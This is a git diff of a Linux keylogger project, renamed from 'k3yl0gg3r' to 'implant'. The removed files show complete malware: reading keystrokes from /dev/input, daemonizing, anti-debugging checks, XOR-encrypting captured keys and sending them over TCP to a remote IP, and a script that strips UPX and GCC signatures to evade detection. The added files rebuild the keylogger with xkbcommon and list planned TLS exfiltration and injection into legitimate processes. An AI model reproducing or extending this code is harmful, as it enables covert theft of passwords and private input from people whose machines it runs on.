diff --git a/logger/Makefile b/logger/Makefile
@@ -2,13 +2,14 @@
#### VARIABLES #########
########################
-NAME = k3yl0gg3r
-CC = gcc
+NAME = implant
+CC = clang
RM = rm -rf
-INCLUDES = -I./include/
-LINK_FLAG =
-CFLAGS = -Wall -Wextra -O2 -static -s -fPIC
+INCLUDES = -I./includes/
+LINK_FLAG = -lxkbcommon
+CFLAGS = -Wall -Wextra -O2 -fPIC -Weverything
+CFLAGS += -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-unused-command-line-argument
PATTERN = .c
OBJPATTERN = .o
SRC_DIR = ./sources
@@ -17,7 +18,7 @@ OBJECT_DIR = ./objects
vpath %$(PATTERN) $(SRC_DIR)
MAIN = main.c
-SRC = get_keyboard.c socket.c logger.c random_functions.c
+SRC = opt.c utils.c keyboard.c logger.c
########################
#### COMPILATION #######
@@ -53,3 +54,4 @@ fclean: clean
re: fclean all
.PHONY: all clean fclean re
+
diff --git a/logger/clean_script b/logger/clean_script
@@ -1,15 +0,0 @@
-#!/bin/python3
-import sys
-
-to_replace = []
-to_replace.append(b"$Info: This file is packed with the UPX executable packer http://upx.sf.net $")
-to_replace.append(b"$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $")
-to_replace.append(b"GCC: (GNU) 10.2.0")
-to_replace.append(b"UPX!")
-
-with open(sys.argv[1], 'rb') as file :
- filedata = file.read()
-for target in to_replace:
- filedata = filedata.replace(target, b'\0' * len(target))
-with open(sys.argv[1], 'wb') as file:
- file.write(filedata)
diff --git a/logger/include/keylogger.h b/logger/include/keylogger.h
@@ -1,49 +0,0 @@
-
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
-#include <errno.h>
-#include <strings.h>
-#include <sys/select.h>
-#include <unistd.h>
-#include <linux/input.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdbool.h>
-
-#ifndef KEYLOGGER_H
-#define KEYLOGGER_H
-
-// logger.c
-#define BUFFER_SIZE 32
-#define NB_KEYCODES 84
-#define NB_EVENTS 512
-
-#define EV_KEY_PRESSED 1
-#define EV_KEY_RELEASE 0
-void log_keys(int *, int, int);
-
-// socket.c
-#define PORT ("5555")
-
-int connect_to_srv(char const *, int);
-
-// get_keyboard.c
-#define DIR_PATH ("/dev/input/by-path/")
-#define LOG_PATH ("/tmp/keylogger.log")
-
-int setup_log(void);
-int *get_keyboard_paths(int);
-
-// random_functions.c
-char *encrypt(char *);
-char *append(char *, char *);
-void refresh_set(fd_set *, int *);
-bool check_if_on_shift(bool, struct input_event);
-void sigchild_handler(int);
-void sigtrap_handler(int);
-void check_pid_status(pid_t);
-
-#endif /* KEYLOGGER_H */
diff --git a/logger/includes/implant.h b/logger/includes/implant.h
@@ -0,0 +1,78 @@
+
+#ifndef IMPLANT_H
+#define IMPLANT_H
+
+/*
+ TODO:
+
+ 1. get current local /etc/default/keyboard &
+ translate it manually using struct input_event
+
+ 2. cleanup select handling so that it doesn't suck massive balls
+
+ 3. add support for TLS communications / some kind of enc.
+
+ 4. enumerate process to see which can be interesting to inject into
+
+ 5. use ptrace-less process injection to inject this in a legit program
+*/
+
+
+#include <sys/types.h>
+#include <stdint.h>
+
+/*
+ contains project settings, such as target
+ port & IP address, whether debug mode is enabled
+ or stuff like this
+*/
+typedef struct implant_s {
+
+ /* remote connection settings */
+ unsigned short port;
+ char ip[17];
+
+ /* debug settings */
+ int debug_enabled:1;
+
+ /* keyboard settings */
+ char locale[20];
+ int *kb_fd;
+} implant_t;
+
+
+#define SUCCESSFUL 1
+#define ERROR 0
+
+#include <stdio.h> /* necessary for the dprintf in the macro */
+
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(flag, s, ...) \
+ do { \
+ if (flag != 0) { \
+ dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
+ } \
+ } while (0)
+#endif
+
+
+// opt.c
+int parse_user_input(int, char **, implant_t *);
+
+// logger.c
+void keylog(implant_t *);
+
+// keyboard.c
+int get_locale(implant_t *);
+void fetch_available_keyboards(implant_t *);
+
+// utils.c
+int read_file(char const *, char **, implant_t *);
+size_t get_array_size(uint8_t **);
+char *remove_repeating_whitespaces(char *);
+void free_tab(uint8_t **);
+char **tabgen(const char *, char);
+
+
+#endif /* IMPLANT_H */
diff --git a/logger/sources/get_keyboard.c b/logger/sources/get_keyboard.c
@@ -1,67 +0,0 @@
-
-#include "keylogger.h"
-#include <stdbool.h>
-#include <stdint.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <dirent.h>
-#include <stdio.h>
-#include <sys/ioctl.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <string.h>
-#include <linux/input.h>
-#include <errno.h>
-#include <unistd.h>
-#include <limits.h>
-
-static int is_keyboard(const struct dirent *file)
-{
- size_t len = strlen(file->d_name);
-
- return file->d_name[len - 3] == 'k'
- && file->d_name[len - 2] == 'b'
- && file->d_name[len - 1] == 'd';
-}
-
-int *get_keyboard_paths(int logfd)
-{
- struct dirent **char_devices = 0x0;
- int possible_paths = scandir(DIR_PATH, &char_devices, &is_keyboard, &alphasort);
- int *result = NULL;
- char *rpath = NULL;
-
- if (possible_paths == -1 || chdir(DIR_PATH) < 0) {
- dprintf(logfd, "Error:%s\n", strerror(errno));
- return NULL;
- }
-
- rpath = malloc(sizeof(char) * BUFFER_SIZE);
- result = malloc(sizeof(int) * (possible_paths + 1));
-
- if (!rpath || !result) {
- dprintf(logfd, "Error: could not allocate memory.\n");
- return NULL;
- }
-
- result[possible_paths] = -1;
-
- for (int ctr = -1; ++ctr < possible_paths;) {
- dprintf(logfd, "Found keyboard:%s\n", char_devices[ctr]->d_name);
- rpath = realpath(char_devices[ctr]->d_name, rpath);
- result[ctr] = open(rpath, O_RDONLY);
- }
-
- for (int ctr = -1; ++ctr < possible_paths;)
- free(char_devices[ctr]);
- free(char_devices);
-
- return result;
-}
-
-int setup_log(void)
-{
- int result = open(LOG_PATH, O_WRONLY | O_TRUNC | O_CREAT, S_IRUSR);
-
- return result;
-}
diff --git a/logger/sources/keyboard.c b/logger/sources/keyboard.c
@@ -0,0 +1,135 @@
+
+/*
+ keyboard handling and local support.
+*/
+
+
+#include "implant.h"
+
+#include <errno.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <dirent.h>
+#include <unistd.h>
+
+
+static int is_kbd(const struct dirent *f) {
+ size_t len = strlen(f->d_name);
+
+ if (len < 3)
+ return 0;
+
+ return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
+}
+
+
+void fetch_available_keyboards(implant_t *instance) {
+
+ /*
+ input devices usually live in /dev/input/
+
+ you can identify the in the by-path subdirectory, which maps each
+ device name to a symlink
+
+ here, we will return set an array of file-descriptor for each available
+ keyboard on the machine, it should be appended with a -1 that should serve
+ as a NULL value
+ */
+
+ struct dirent **char_devices = NULL;
+ int possible_paths = scandir(
+ "/dev/input/by-path/",
+ &char_devices,
+ &is_kbd,
+ &alphasort
+ );
+
+ if (possible_paths == -1 || chdir("/dev/input/by-path/") < 0) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "could not find possible keyboard paths"
+ );
+
+ return;
+ }
+
+ instance->kb_fd = malloc(sizeof(int) * ((size_t)possible_paths + 1));
+ if (!instance->kb_fd) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "could not allocate memory for possible kb paths: %s",
+ strerror(errno)
+ );
+ return;
+ }
+
+ instance->kb_fd[possible_paths] = -1;
+ char rpath[2048] = {0};
+ for (int ctr = -1; ++ctr < possible_paths;) {
+ if (!realpath(char_devices[ctr]->d_name, rpath)) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Could not run realpath(%s): %s",
+ char_devices[ctr]->d_name, strerror(errno)
+ );
+ } else instance->kb_fd[ctr] = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+ }
+
+ for (int ctr = -1; ++ctr < possible_paths;)
+ free(char_devices[ctr]);
+ free(char_devices);
+}
+
+
+static int parse_locale(char const *locale_fpath, implant_t *instance) {
+
+ char *buffer = NULL;
+ if (ERROR == read_file(locale_fpath, &buffer, instance))
+ return ERROR;
+
+ char **tab = tabgen(buffer, '\n');
+ if (!tab) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "Could not split buffer contents: %s",
+ buffer
+ );
+
+ free(buffer);
+ return ERROR;
+ }
+
+ for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
+
+ if (!strncmp(tab[i], "LANG=", 5)) {
+ strncpy(instance->locale, tab[i] + 5, 20);
+
+ /* safe to free all this and exit this function */
+ free_tab((uint8_t **)tab);
+ free(buffer);
+ return SUCCESSFUL;
+ }
+ }
+
+ DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
+ free_tab((uint8_t **)tab);
+ free(buffer);
+ return ERROR;
+}
+
+
+int get_locale(implant_t *instance) {
+
+ /*
+ function call is wrapped in order to support multiple distros
+ down the line.
+ */
+
+ return parse_locale("/etc/default/locale", instance);
+}
diff --git a/logger/sources/logger.c b/logger/sources/logger.c
@@ -1,146 +1,186 @@
-#include "keylogger.h"
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
+/*
+ key-logging is done here......yeah
+*/
+
+
+#include "implant.h"
+#include <alloca.h>
+#include <bits/types/struct_timeval.h>
+#include <stddef.h>
+#include <string.h>
#include <errno.h>
-#include <strings.h>
#include <sys/select.h>
-#include <unistd.h>
#include <linux/input.h>
-#include <stdlib.h>
-#include <string.h>
#include <sys/types.h>
-#include <stdbool.h>
-
-
-static char *KEYCODES[] = {
- "<unknown>", "<ESC>",
- "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
- "<Backspace>", "<Tab>",
- "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",
- "[", "]", "<Enter>", "<LCtrl>",
- "a", "s", "d", "f", "g", "h", "j", "k", "l", ";",
- "'", "`", "<LShift>",
- "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/",
- "<RShift>",
- "<KP*>",
- "<LAlt>", " ", "<CapsLock>",
- "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
- "<NumLock>", "<ScrollLock>",
- "<KP7>", "<KP8>", "<KP9>",
- "<KP->",
- "<KP4>", "<KP5>", "<KP6>",
- "<KP+>",
- "<KP1>", "<KP2>", "<KP3>", "<KP0>",
- "<KP.>",
- "<unknown>", "<unknown>", "<unknown>",
- "<F11>", "<F12>",
- "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>",
- "<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "<unknown>",
- "<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
- "<PageDown>", "<Insert>", "<Delete>", 0x0
-};
-
-static char *SHIFT_KEYCODES[] = {
- "<unknown>", "<ESC>",
- "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+",
- "<Backspace>", "<Tab>",
- "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
- "{", "}", "<Enter>", "<LCtrl>",
- "A", "S", "D", "F", "G", "H", "J", "K", "L", ":",
- "\"", "~", "<LShift>",
- "|", "Z", "X", "C", "V", "B", "N", "M", "<", ">", "?",
- "<RShift>",
- "<KP*>",
- "<LAlt>", " ", "<CapsLock>",
- "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
- "<NumLock>", "<ScrollLock>",
- "<KP7>", "<KP8>", "<KP9>",
- "<KP->",
- "<KP4>", "<KP5>", "<KP6>",
- "<KP+>",
- "<KP1>", "<KP2>", "<KP3>", "<KP0>",
- "<KP.>",
- "<unknown>", "<unknown>", "<unknown>",
- "<F11>", "<F12>",
- "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>",
- "<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "<unknown>",
- "<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
- "<PageDown>", "<Insert>", "<Delete>", 0x0
-};
-
-static void send_log(int sockfd, int logfd, char *buffer, int len)
-{
- if (!buffer || !(*buffer))
- return;
- if (logfd != -1)
- write(logfd, buffer, len);
- if (sockfd != -1) {
- write(sockfd, encrypt(buffer), len);
- }
+#include <unistd.h>
+#include <xkbcommon/xkbcommon.h>
+
+
+static int get_highest_fd(int *kbfd, int *i) {
+ if (!kbfd)
+ return -1;
+
+ int highest = -1;
+ for (*i = 0; kbfd[*i] != -1; (*i)++)
+ highest = (highest < kbfd[*i]) ? kbfd[*i] : highest;
+ return highest;
}
-static void log_single_keyboard(int kbfd, int sockfd, int logfd)
-{
- static char *buffer = 0x0;
- static bool is_on_shift = false;
- int bytes_read = 0;
- int msg_length = 0;
- struct input_event evt;
- struct sigaction old;
- struct sigaction new = {
- .sa_handler = SIG_IGN,
- .sa_flags = 0
- };
-
- sigemptyset(&new.sa_mask);
- sigaction(SIGPIPE, &new, &old);
- do {
-
- bytes_read = read(kbfd, &evt, sizeof(struct input_event));
- if (bytes_read == -1) {
- break;
- } else is_on_shift = check_if_on_shift(is_on_shift, evt);
-
- if (evt.type == EV_KEY && evt.value == EV_KEY_PRESSED) {
- if (is_on_shift)
- buffer = append(buffer, SHIFT_KEYCODES[evt.code]);
- else buffer = append(buffer, KEYCODES[evt.code]);
- }
+static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
+ struct input_event evt = {0};
- if (buffer && strlen(buffer) >= BUFFER_SIZE) {
- msg_length = strlen(buffer);
- send_log(sockfd, logfd, buffer, msg_length);
- free(buffer);
- buffer = 0x0;
- }
- } while (bytes_read < 0);
- sigaction(SIGPIPE, &old, 0x0);
+ ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+ if (bytes_read != sizeof(evt)) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] read() error: %s",
+ strerror(errno)
+ );
+
+ return ERROR;
+ }
+ // 1 = is_pressed
+ if (evt.type == EV_KEY && evt.value == 1) {
+ char key_description[256] = {0};
+ xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+
+ xkb_keysym_get_name(keysym, key_description, 256);
+ printf("[+] Key pressed: %s\n", key_description);
+ }
+
+ return SUCCESSFUL;
}
-void log_keys(int *keyboards_fd, int sockfd, int logfd)
-{
- int nb_kb = - 1;
- fd_set wrt;
- fd_set rd;
- fd_set err;
- int select_status = 0;
- while (keyboards_fd[++nb_kb] != -1);
+/*
+ main loop to listen for keys and stuff
+*/
+void keylog(implant_t *instance) {
+
+
+ /* first set up select etc */
+ int nb_kb = 0;
+ int highest_fd = get_highest_fd(instance->kb_fd, &nb_kb);
+ fd_set rd, err;
+ int status = 0;
+
+ if (highest_fd < 0 || !nb_kb) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] no keyboard found. exiting"
+ );
+ return;
+ }
+
+
+ /*
+ initialize xkbcommon context
+
+ this is the stuff that allows us to maps keys to
+ the correct language & manages special characters, shift, etc.
+ */
+
+ struct xkb_context *context = NULL;
+ struct xkb_keymap *keymap = NULL;
+ struct xkb_state *state = NULL;
+
+ context = xkb_context_new(0);
+ if (!context) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] error with xkb_context_new(): %s",
+ strerror(errno)
+ );
+
+ return;
+
+ }
+
+ keymap = xkb_keymap_new_from_names(context, NULL, 0);
+ if (!keymap) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] error with xkb_keymap_new_from_names(): %s",
+ strerror(errno)
+ );
+
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+ state = xkb_state_new(keymap);
+ if (!state) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] error with xkb_state_new(): %s",
+ strerror(errno)
+ );
+
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+
+ /* run the damn loop */
while (1) {
- refresh_set(&wrt, keyboards_fd);
- refresh_set(&rd, keyboards_fd);
- refresh_set(&err, keyboards_fd);
- select_status = select(nb_kb + 1, &rd, &wrt, &err, 0x0);
- if (select_status < 0) {
- dprintf(logfd, "select status:%d -- exiting...\n", select_status);
- break;
+
+ /* setup FD-sets */
+ for (int i = 0; i < nb_kb; i++) {
+ FD_SET(instance->kb_fd[i], &rd);
+ FD_SET(instance->kb_fd[i], &err);
+ }
+
+ /* check if a key has been pressed */
+ status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
+ if (status < 0) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] select error: %s",
+ strerror(errno)
+ );
+
+ goto LOG_FUNCTION_CLEANUP;
}
- for (int ctr = -1 ; ++ctr < nb_kb; )
- if (FD_ISSET(keyboards_fd[ctr], &rd)) {
- log_single_keyboard(keyboards_fd[ctr], sockfd, logfd);
+
+ /* check file descriptors (first for error, then for new input) */
+ for (int i = 0; i < nb_kb; i++) {
+ if (FD_ISSET(instance->kb_fd[i], &err)) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Error on file descriptor %d",
+ instance->kb_fd[i]
+ );
+
+ /*
+ TODO: replace array of keyboard fd by a linked list so
+ that it can cleanly be removed without breaking the
+ logger
+ */
+
+ goto LOG_FUNCTION_CLEANUP;
}
+
+ /* checking for new input here */
+ if (FD_ISSET(instance->kb_fd[i], &rd)) {
+
+ /* TODO: should we really kill the run here or can we recover this ? */
+ if (log_keyboard(instance->kb_fd[i], instance, state) == ERROR)
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+ }
+
}
+
+
+LOG_FUNCTION_CLEANUP:
+ if (state != NULL)
+ xkb_state_unref(state);
+
+ if (keymap != NULL)
+ xkb_keymap_unref(keymap);
+
+ if (context != NULL)
+ xkb_context_unref(context);
+
}
diff --git a/logger/sources/main.c b/logger/sources/main.c
@@ -1,92 +1,27 @@
-#include "keylogger.h"
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <ctype.h>
-#include <signal.h>
-
-static void daemonize(void)
-{
- pid_t pid = fork();
-
- check_pid_status(pid);
- if (setsid() < 0) // child should become session leader
- exit(1);
- pid = fork();
- check_pid_status(pid);
- umask(0); // setting correct file permissions
- for (int x = sysconf(_SC_OPEN_MAX); x >= 0; x--) // closing open file desc
- close(x);
-}
-
-static void setup_signals(void)
-{
- struct sigaction sa = {
- .sa_handler = sigchild_handler,
- .sa_flags = SA_RESTART
- };
- struct sigaction sigtrap = {
- .sa_handler = sigtrap_handler,
- .sa_flags = SA_RESTART
- };
-
- sigemptyset(&sa.sa_mask);
- sigaction(SIGCHLD, &sa, 0x0);
- sigemptyset(&sigtrap.sa_mask);
- sigaction(SIGTRAP, &sigtrap, 0x0);
-}
-bool debugger_is_attached(void)
-{
- char buf[4096];
-
- const int status_fd = open("/proc/self/status", O_RDONLY);
- if (status_fd == -1)
- return false;
-
- const ssize_t num_read = read(status_fd, buf, sizeof(buf) - 1);
- if (num_read <= 0)
- return false;
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
- buf[num_read] = '\0';
- const char tracer_pid[] = "TracerPid:";
- const char *tracer_pid_ptr = strstr(buf, tracer_pid);
- if (!tracer_pid_ptr)
- return false;
+#include "implant.h"
- for (const char* char_ptr = tracer_pid_ptr + sizeof(tracer_pid) - 1; char_ptr <= buf + num_read; ++char_ptr)
- {
- if (isspace(*char_ptr))
- continue;
- else return isdigit(*char_ptr) != 0 && *char_ptr != '0';
- }
- return false;
-}
+int main(int ac, char **av) {
-int main(int ac, char **av)
-{
- if (debugger_is_attached())
+ implant_t instance = {0};
+ if (ERROR == parse_user_input(ac, av, &instance))
return 1;
- daemonize();
- setup_signals();
- int logfd = setup_log();
-
- int *keyboards = get_keyboard_paths(logfd);
- int sockfd = connect_to_srv(ac == 1 ? 0x0 : av[1], logfd);
- if (!keyboards || (sockfd == -1 && logfd == -1))
- return 1;
+ get_locale(&instance);
+ DEBUG_LOG(
+ instance.debug_enabled,
+ "[*] Shibal settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
+ instance.ip, instance.port, instance.locale
+ );
- log_keys(keyboards, sockfd, logfd);
- for (int i = -1; keyboards[++i] != -1;)
- close(keyboards[i]);
- free(keyboards);
- close(sockfd);
- close(logfd);
+ fetch_available_keyboards(&instance);
+ keylog(&instance);
return 0;
}
-
diff --git a/logger/sources/opt.c b/logger/sources/opt.c
@@ -0,0 +1,43 @@
+/*
+ program's imput handling is handled here.
+ */
+
+
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+
+int parse_user_input(int ac, char **av, implant_t *settings) {
+ int c = 0;
+
+ do {
+ c = getopt(ac, av, "i:p:d");
+ switch (c) {
+ case 'i':
+ /* we got an IP address */
+ strncpy((char *)&settings->ip, optarg, 16);
+ break;
+
+ case 'p':
+ /* we got a port */
+ settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+ break;
+
+ case 'd':
+ settings->debug_enabled = 1;
+ break;
+
+ case '?':
+ return ERROR;
+
+ default:
+ break;
+ }
+ } while (c != -1);
+ return SUCCESSFUL;
+}
diff --git a/logger/sources/random_functions.c b/logger/sources/random_functions.c
@@ -1,72 +0,0 @@
-
-#include "keylogger.h"
-
-inline static bool is_shift(char code)
-{
- return code == KEY_LEFTSHIFT || code == KEY_RIGHTSHIFT;
-}
-
-char *encrypt(char *message)
-{
- char *key = "B4N4N4";
- size_t messagelen = strlen(message);
- size_t keylen = strlen(key);
- char *encrypted = malloc(messagelen + 1);
-
- for(size_t i = 0; i < messagelen; i++)
- encrypted[i] = message[i] ^ key[i % keylen];
- encrypted[messagelen] = '\0';
- return encrypted;
-}
-
-bool check_if_on_shift(bool is_on_shift, struct input_event evt)
-{
- if (evt.type == EV_KEY && evt.value == EV_KEY_PRESSED && is_shift(evt.code))
- is_on_shift = true;
- else if (evt.type == EV_KEY && evt.value == EV_KEY_RELEASE
- && is_shift(evt.code))
- is_on_shift = false;
- return is_on_shift;
-}
-
-char *append(char *buffer, char *to_add)
-{
- size_t new_len = 0;
-
- if (!buffer || !(*buffer))
- return strdup(to_add);
- new_len = strlen(buffer) + strlen(to_add);
- buffer = realloc(buffer, sizeof(char) * (new_len + 1));
- buffer = strcat(buffer, to_add);
- return buffer;
-}
-
-void refresh_set(fd_set *set, int *kb)
-{
- int ctr = -1;
-
- FD_ZERO(set);
- while (kb[++ctr] != -1)
- FD_SET(kb[ctr], set);
-}
-
-void check_pid_status(pid_t pid)
-{
- if (pid < 0)
- exit(1);
- else if (pid > 0)
- exit(0);
-}
-
-void sigtrap_handler(int code)
-{
- (void)code;
- exit(1);
-}
-
-void sigchild_handler(int code)
-{
- (void)code;
- while (waitpid(-1, NULL, WNOHANG) > 0);
-}
-
diff --git a/logger/sources/socket.c b/logger/sources/socket.c
@@ -1,43 +0,0 @@
-
-#include "keylogger.h"
-#include <arpa/inet.h>
-#include <asm-generic/socket.h>
-#include <netinet/in.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netdb.h>
-#include <stdio.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-
-int connect_to_srv(char const *target, int logfd)
-{
- int flag = 1;
- struct sockaddr_in addr = {
- .sin_family = AF_INET,
- .sin_port = htons(atoi(PORT)),
- .sin_addr.s_addr = (target) ? inet_addr(target) : INADDR_ANY
- };
- int sockfd = socket(AF_INET, SOCK_STREAM, getprotobyname("TCP")->p_proto);
-
- if (sockfd == -1 || !target) {
- dprintf(logfd, "socket:%s\n", strerror(errno));
- close(sockfd);
- return -1;
- } if (setsockopt(sockfd, SOL_SOCKET,
- SO_REUSEADDR | SO_REUSEPORT, &flag, sizeof(int)) < 0) {
- dprintf(logfd, "setsockopt:%s\n", strerror(errno));
- close(sockfd);
- return -1;
- } if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
- dprintf(logfd, "connect:%s\n", strerror(errno));
- close(sockfd);
- return -1;
- }
-
- dprintf(logfd, "Socket successfully created!\n");
- return sockfd;
-}
diff --git a/logger/sources/utils.c b/logger/sources/utils.c
@@ -0,0 +1,154 @@
+
+/*
+ random useful functions
+*/
+
+#include "implant.h"
+
+
+#include <stddef.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <ctype.h>
+#include <stdio.h>
+
+/*
+ just a little utility function to read a generic text file.
+
+ implant_t struct is required to have debug logging. i should maybe
+ find a way to make this suck less, but we're not smart devs over here
+*/
+int read_file(char const *path, char **buffer, implant_t *instance) {
+
+ int fd = open(path, O_RDONLY);
+ if (fd < 0) {
+ DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
+ return ERROR;
+ }
+
+ // could use fseek but stat is posix so let's use that
+ struct stat st;
+ if (fstat(fd, &st) < 0) {
+ DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
+ return ERROR;
+ }
+
+ unsigned long filesize = (unsigned long)st.st_size;
+
+ *buffer = malloc(sizeof(char) * (filesize + 1));
+ if (!buffer || !(*buffer)) {
+ DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
+ return ERROR;
+ }
+
+ ssize_t bytes = read(fd, *buffer, filesize);
+ if (bytes != st.st_size) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Should have read %ld bytes but read %ld (filepath: %s)",
+ st.st_size, bytes, path
+ );
+
+ if (bytes < 0) {
+ DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
+ return ERROR;
+ }
+ }
+
+ *buffer[bytes] = 0;
+ close(fd);
+ return SUCCESSFUL;
+}
+
+static size_t get_nb_cols(const char *str, int n, char separator)
+{
+ size_t i = (size_t)n;
+ size_t res = 0;
+
+ if (str == NULL || str[0] == '\0')
+ return 0;
+ for (; str[i] != '\0' && str[i] != separator; i++, res++);
+ return (res);
+}
+
+static size_t get_nb_rows(const char *str, char separator)
+{
+ int i;
+ size_t res = 0;
+
+ if (str == NULL || str[0] == '\0')
+ return 0;
+ if (str == NULL || str[0] == '\0')
+ return (0);
+ for (i = 0; str[i] != '\0'; i++)
+ if (str[i] == separator)
+ res++;
+ return (res + 1);
+}
+
+char **tabgen(const char *str, char separator)
+{
+ size_t i = 0;
+ size_t malloc_size = 0;
+ size_t index_str = 0;
+ char **res = NULL;
+
+ if (str == NULL || *str == 0)
+ return NULL;
+
+ res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+ for (; i < get_nb_rows(str, separator); i++) {
+ malloc_size = get_nb_cols(&str[index_str], 0, separator);
+
+ res[i] = malloc(sizeof(char) * (malloc_size + 4));
+ res[i] = strncpy(res[i], &str[index_str], malloc_size);
+ res[i][malloc_size] = '\0';
+
+ index_str = index_str + malloc_size + 1;
+ }
+
+ res[i] = NULL;
+ return (res);
+}
+
+void free_tab(uint8_t **tab)
+{
+ for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+ free(tab[ctr]);
+ free(tab);
+}
+
+char *remove_repeating_whitespaces(char *s)
+{
+ size_t i = 0;
+ size_t x = 0 ;
+
+ if (!s || !(*s))
+ return NULL;
+
+ for(; s[i]; ++i)
+ if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
+ s[x++] = s[i];
+
+ s[x] = '\0';
+ return s;
+}
+
+size_t get_array_size(uint8_t **array)
+{
+ size_t ctr = 0;
+
+ if (!array)
+ return 0;
+ while (array[ctr++]);
+ return ctr;
+}
diff --git a/logger/utils/install-deps.sh b/logger/utils/install-deps.sh
@@ -0,0 +1,23 @@
+#!/bin/env bash
+
+#
+# install the dev dependencies to
+# compile this program
+#
+# assumes you are running a debian-based distro
+# if this is not what you use, you are welcome to
+# change the script for your needs :)~
+#
+
+
+set -euo pipefail
+
+
+# install using APT
+install_apt () {
+ sudo apt install -y \
+ libxkbcommon-dev
+}
+
+
+install_apt
| | | | | | | | | | | | |